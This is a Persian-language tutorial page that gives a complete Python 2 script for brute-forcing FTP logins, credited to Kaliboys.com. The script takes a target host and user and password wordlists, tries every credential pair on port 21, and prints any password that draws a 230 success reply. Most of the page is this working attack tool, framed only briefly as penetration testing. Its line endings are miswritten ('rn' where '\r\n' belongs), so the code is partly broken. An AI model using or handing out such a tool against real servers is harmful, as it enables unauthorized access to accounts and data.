ساخت ابزار FTP BruteForce با پایتون

تالار گفتگو زوم تر ورود به تالار گفتگو زوم تر

ساخت ابزار FTP BruteForce

FTP مخفف File Transfer Protocol میباشد که وظیفه این پروتکل انتقال فایل در شبکه هست. یکی از راه های تست نفوذ این نوع سرویس حملات Bruteforce attack است.

در این اموزش هم با استفاده از زبان برنامه نویسی پایتون ابزاری را طراحی خواهیم کرد که می تواند حملات بروت فورس را به صورت انلاین بر روی سرویس FTP انجام دهد.

#!/usr/bin/python
from socket import *
import re

print """

FTP Brute Force Version 1.0
Coded By Kaliboys.com
"""


host = raw_input("Enter HOST target :")
user = raw_input("Enter userlist : ")
passwd = raw_input("Enter passlist :")

userlist = open(user,"r")
for users in userlist.readlines():
	passlist = open(passwd,"r")
	for passwords in passlist.readlines():
		s = socket(AF_INET,SOCK_STREAM)
		s.connect_ex((host,21))
		s.recv(1024)
		s.send('USER %srn'%(users))
		res = s.recv(1024)
		s.send('PASS %srn'%(passwords))
		res = s.recv(1024)
		if re.search('230',res):
			print "[+] find password ",passwords
		else:
			print "[!] try test","user",users,"psss",passwords
			print "---------------------------------------------"

 

نوشته های مشابه

دیدگاهتان را بنویسید

دکمه بازگشت به بالا